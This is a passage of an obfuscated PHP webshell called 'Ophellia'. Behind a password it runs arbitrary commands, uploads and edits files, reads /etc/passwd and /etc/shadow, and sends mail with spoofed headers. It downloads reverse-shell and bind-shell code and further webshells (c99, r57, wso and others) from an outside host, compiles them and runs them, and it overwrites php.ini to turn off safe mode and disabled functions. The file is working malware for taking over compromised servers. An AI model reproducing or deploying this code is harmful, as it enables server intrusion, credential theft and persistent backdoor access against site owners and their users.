=1024){$size/=1024;$pos++;}return round($size,2)." ".$a[$pos];}function lasmod($file){global $opl;return date("d/m/Y H:i:s",$opl[33]($file));}function perms($file){global $opl;if($perms=@$opl[32]($file)){$flag='u';if(($perms&0xC000)==0xC000)$flag='s';elseif(($perms&0xA000)==0xA000)$flag='l';elseif(($perms&0x8000)==0x8000)$flag='-';elseif(($perms&0x6000)==0x6000)$flag='b';elseif(($perms&0x4000)==0x4000)$flag='d';elseif(($perms&0x2000)==0x2000)$flag='c';elseif(($perms&0x1000)==0x1000)$flag='p';$flag.=($perms&00400)?'r':'-';$flag.=($perms&00200)?'w':'-';$flag.=($perms&00100)?'x':'-';$flag.=($perms&00040)?'r':'-';$flag.=($perms&00020)?'w':'-';$flag.=($perms&00010)?'x':'-';$flag.=($perms&00004)?'r':'-';$flag.=($perms&00002)?'w':'-';$flag.=($perms&00001)?'x':'-';return $flag;}else{return substr(sprintf('%o',$opl[32]($file)),-4);}}function goog($item){global $opl;if($opl[12]("posix_getpwuid")){$downer=@$opl[40]($opl[37]($item));$downer=$downer['name'];}else{$downer=$opl[37]($item);}if($opl[12]("posix_getgrgid")){$dgrp=@$opl[40]($opl[41]($item));$dgrp=$dgrp['name'];}else{$dgrp=$opl[41]($item);}return $downer.'/'.$dgrp;}function gtyp($file){global $opl;$gtyp=($opl[12]('mime_content_type'))?$opl[39]($file):$opl[38]($file);return $gtyp;}$opl[2](0);$opl[3](0);$opl[4]();@$opl[5]('max_execution_time',0);@$opl[5]('output_buffering',0);$opl[6]();echo '
o p h e l l i a ';if($opl[8](${$opl[0]}['pass'])==$pass){$opl[6]();${$opl[9]}['pass']=$pass;}if(isset(${$opl[9]}['pass'])==$pass){if($opl[7]('safe_mode')){$Safe="ON ";}else{$Safe="OFF ";}if(isset(${$opl[1]}['d'])){$path=hlx(${$opl[1]}['d']);$opl[10](hlx(${$opl[1]}['d']));}else{$path=$opl[11]();}if(isset($mkdir)){$mkdir=$path."/".${$opl[1]}['mkdir'];}if(isset($mkfile)){$mkfile=$path."/".${$opl[1]}['mkfile'];}$f=hlx(${$opl[1]}['f']);$fedit=hlx(${$opl[1]}['fedit']);$gwejh=$opl[16](${$opl[0]}['gwejh']);$mkdir=${$opl[1]}['mkdir'];$tools=${$opl[1]}['t'];$rmdir=hlx(${$opl[1]}['rmdir']);$mkfile=${$opl[1]}['mkfile'];$cndir=${$opl[1]}['cndir'];$file=$_SERVER['PHP_SELF'];$root=$_SERVER['DOCUMENT_ROOT'];$bytes=$opl[13](".");$rfile=hlx(${$opl[1]}['rfile']);$rename=${$opl[1]}['rename'];$path=$opl[17]('\\','/',$path);$si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');$class=min((int)log($bytes,1024),count($si_prefix)-1);$size=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];echo 'HOME UPLOAD NETWORK MAILER INFO LOGOUT ';if(isset($tools)){if(hlx($tools)=='network'){$pty=$opl[21]('https://rei.my.id/back_connect/python.txt');$rby=$opl[21]('https://rei.my.id/back_connect/ruby.txt');$bcc=$opl[21]('https://rei.my.id/back_connect/c.txt');$bcp=$opl[21]('https://rei.my.id/back_connect/perl.txt');$bpc=$opl[21]('https://rei.my.id/bind_shell/c.txt');$bpp=$opl[21]('https://rei.my.id/bind_shell/perl.txt');echo 'Network Tools Bind Shell Reverse Shell ';if(isset(${$opl[0]}['type'])){if(${$opl[0]}['type']=='cb'){sf('/tmp/cb.c',$bpc);$opl[14]('gcc -o /tmp/cb /tmp/cb.c');$opl[14]('/tmp/cb '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep cb')."";}if(${$opl[0]}['type']=='pb'){sf('/tmp/pb.pl',$bpp);$opl[14]('perl /tmp/pb.pl '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep pb')."";}if(${$opl[0]}['type']=='cbc'){sf('/tmp/cbc.c',$bcc);$opl[14]('gcc -o /tmp/cbc /tmp/cbc.c');$opl[14]('/tmp/cbc '.${$opl[0]}['ip'].' '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep cbc')."";}if(${$opl[0]}['type']=='pbc'){sf('/tmp/pbc.pl',$bcp);$opl[14]('perl /tmp/pbc.pl '.${$opl[0]}['ip'].' '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep pbc')."";}if(${$opl[0]}['type']=='rbb'){sf('/tmp/rbb.rb',$rby);$opl[14]('ruby /tmp/rbb.rb '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep rbb')."";}if(${$opl[0]}['type']=='rbbc'){sf('/tmp/rbbc.rb',$rby);$opl[14]('ruby /tmp/rbbc.rb '.${$opl[0]}['port'].' '.${$opl[0]}['ip'].' &');echo "".$opl[14]('ps aux | grep rbbc')."";}if(${$opl[0]}['type']=='pyb'){sf('/tmp/pyb.py',$pty);$opl[14]('python /tmp/pyb.py '.${$opl[0]}['port'].' &');echo "".$opl[14]('ps aux | grep pyb')."";}if(${$opl[0]}['type']=='pybc'){sf('/tmp/pybc.py',$pty);$opl[14]('python /tmp/pybc.py '.${$opl[0]}['port'].' '.${$opl[0]}['ip'].' &');echo "".$opl[14]('ps aux | grep pybc')."";}}die();}if(hlx($tools)=='mailer'){echo 'Mailer Tools ';if(isset(${$opl[0]}['from'])){$headers="From: ".${$opl[0]}['from']."\\\r\\\n";$headers.="Reply-To: ".${$opl[0]}['from']."\\\r\\\n";$headers.="Return-Path: ".${$opl[0]}['from']."\\\r\\\n";$headers.="X-Mailer: PHP/".$opl[20]();$opl[25](${$opl[0]}['to'],${$opl[0]}['subject'],${$opl[0]}['message'],$headers);echo "Mail Sent !";}echo ' ';die();}if(hlx($tools)=='upload'){echo"Upload Tools current_dir [ $path ] document_root [ $root ]
";if(isset(${$opl[0]}['upload'])){if(${$opl[0]}['uploadtype']==1){$tmp=$_FILES['upload']['tmp_name'];$up=$opl[28]($_FILES['upload']['name']);if($opl[29]($tmp,$path."/".$up)){echo "SUCCESSFULLY UPLOADED ";}else{echo "FAILED TO UPLOAD FILE ";}}else{$tmp=$_FILES['upload']['tmp_name'];$up=$opl[28]($_FILES['upload']['name']);if($opl[29]($tmp,$root."/".$up)){echo "SUCCESSFULLY UPLOADED ";}else{echo "FAILED TO UPLOAD FILE ";}}}die();}if(hlx($tools)=='info'){$disable_functions=(!empty(@$opl[7]('disable_functions')))?"".@$opl[7]('disable_functions')." ":"NONE ";echo "System : ".@$opl[18]('a')." ".$_SERVER['SERVER_SOFTWARE']." User : ".$opl[19]()." Free Space : $size Server IP : ".$opl[24]($_SERVER['HTTP_HOST'])." Client IP : ".$_SERVER['REMOTE_ADDR']." Safe Mode : $Safe PHP Version : ".@$opl[20]()." Disable Function : $disable_functions";if(($opl[21]('/etc/os-release'))){echo " /etc/os-release : ".$opl[21]('/etc/os-release')." ";}if(($opl[21]('/etc/passwd'))){echo " /etc/passwd : ".$opl[21]('/etc/passwd')." ";}if(($opl[21]('/etc/shadow'))){echo " /etc/shadow : ".$opl[21]('/etc/shadow')." ";}if(($opl[21]('/etc/group'))){echo " /etc/group : ".$opl[21]('/etc/group')." ";}if(($opl[21]('/etc/hosts'))){echo " /etc/hosts : ".$opl[21]('/etc/hosts')." ";}if(($opl[21]('/etc/fstab'))){echo " /etc/fstab : ".$opl[21]('/etc/fstab')." ";}if(($opl[21]('/etc/resolv.conf'))){echo " /etc/resolv.conf : ".$opl[21]('/etc/resolv.conf')." ";}if(($opl[21]('/etc/mtab'))){echo " /etc/mtab : ".$opl[21]('/etc/mtab')." ";}if(($opl[21]('/etc/ssh/ssh_config'))){echo " /ssh/ssh_config : ".$opl[21]('/etc/ssh/ssh_config')." ";}echo " ";die();}}if(isset($rfile)and $opl[26]($rfile)){if($opl[27]($rfile)){echo("File $rfile Deleted ");}else{echo("File $rfile Not Deleted ");}}if(isset($gwejh)){if(!empty($gwejh)){echo "";echo $opl[14]($gwejh);echo " ";}}if(isset($mkdir)){if(!empty($mkdir)){if(mkdir($mkdir,0777,true)){echo"Directory $mkdir Created ";}else{echo"Directory $mkdir Not Created ";}}else{echo "Can't create empty name folder ";}}if(isset($mkfile)){echo ' Back
';if(${$opl[0]}['fname']&&${$opl[0]}['ftext']){if($opl[22](${$opl[0]}['fname'],${$opl[0]}['ftext'])){echo "File ".${$opl[0]}['fname']." Created ";}else{echo "File ".${$opl[0]}['fname']." Not Created ";}}}if(isset($rmdir)and $opl[26]($rmdir)){if($opl[30]($rmdir)){echo"Directory $rmdir Deleted ";}else{echo"Directory $rmdir Not Deleted ";}}if(isset($cndir)){$dir=$cndir;$rr=$_SERVER['SERVER_NAME']."$file?d=".xlh($dir);header("Location: http://$rr");}if(isset(${$opl[0]}['spawn'])){if(${$opl[0]}['spawn']=='webconsole'){sf('webconsole.php',$opl[21]('https://rei.my.id/webshell/webconsole.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='indoxploit'){sf('indoxploit.php',$opl[21]('https://rei.my.id/webshell/indoxploit.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='marijuana'){sf('marijuana.php',$opl[21]('https://rei.my.id/webshell/marijuana.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='adminer'){sf('adminer.php',$opl[21]('https://rei.my.id/webshell/adminer.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='phpinfo'){sf('phpinfo.php',$opl[21]('https://rei.my.id/webshell/phpinfo.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='b374k'){sf('b374k.php',$opl[21]('https://rei.my.id/webshell/b374k.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='wso'){sf('wso.php',$opl[21]('https://rei.my.id/webshell/wso.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='r57'){sf('r57.php',$opl[21]('https://rei.my.id/webshell/r57.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='c99'){sf('c99.php',$opl[21]('https://rei.my.id/webshell/c99.php'));echo "Successfully spawn ".${$opl[0]}['spawn']." ";}elseif(${$opl[0]}['spawn']=='phpini'){$ini=fopen($root.'/php.ini','w');fwrite($ini,"safe_mode = OFF\\\r\\\ndisable_functions = NONE");fclose($ini);echo "Successfully spawn ".${$opl[0]}['spawn']." ";}else{echo "Failed to spawn ".${$opl[0]}['spawn']." ";}}if(isset($rename)){echo 'Old Name: New Name: Back ';if(${$opl[0]}['oldname']&&${$opl[0]}['newname']){if(isset(${$opl[0]}['oldname'])){$opl[14]('mv '.${$opl[0]}['oldname'].' '.${$opl[0]}['newname']);echo 'Rename File Done. ';}else{echo 'Rename File Failed. ';}}echo ' ';}if(isset($f)and $opl[33]($f)){$text=$opl[35]($opl[21]($f));echo ''.$text.' ';}if(isset($fedit)and $opl[26]($fedit)){$text=$opl[36]($opl[21]($fedit));echo ''.$text.' Back
';if($opl[23]($fedit)){if(isset(${$opl[0]}['text'])){$write=fopen($fedit,'w');$new_text=$opl[16](${$opl[0]}['text']);if(fwrite($write,$new_text)){echo 'Edit File Done. ';}else{echo 'Edit File Failed. ';}fclose($write);}}}echo ' File Name Edit Remove Rename Filesize Filetype Permission Owner/Group LastModified ';foreach($opl[31]($path)as $files){if(!is_dir($files))continue;if($files==".."|$files=="."){echo "⚪$files ";}else{echo"⚪$files - Remove Rename - ".gtyp($files)." ".perms($files)." ".goog($files)." ".lasmod($files)." ";}}foreach($opl[31]($path)as $files){if(!is_file($files))continue;echo"⚪$files Edit Remove Rename ".fsize($files)." ".gtyp($files)." ".perms($files)." ".goog($files)." ".lasmod($files)." ";}echo "
";echo '';if(isset(${$opl[1]}['exit'])){unset(${$opl[9]}['pass']);echo "";exit();}}else{echo ' ';}header('X-Powered-By: Ophellia v1.2.1');echo '';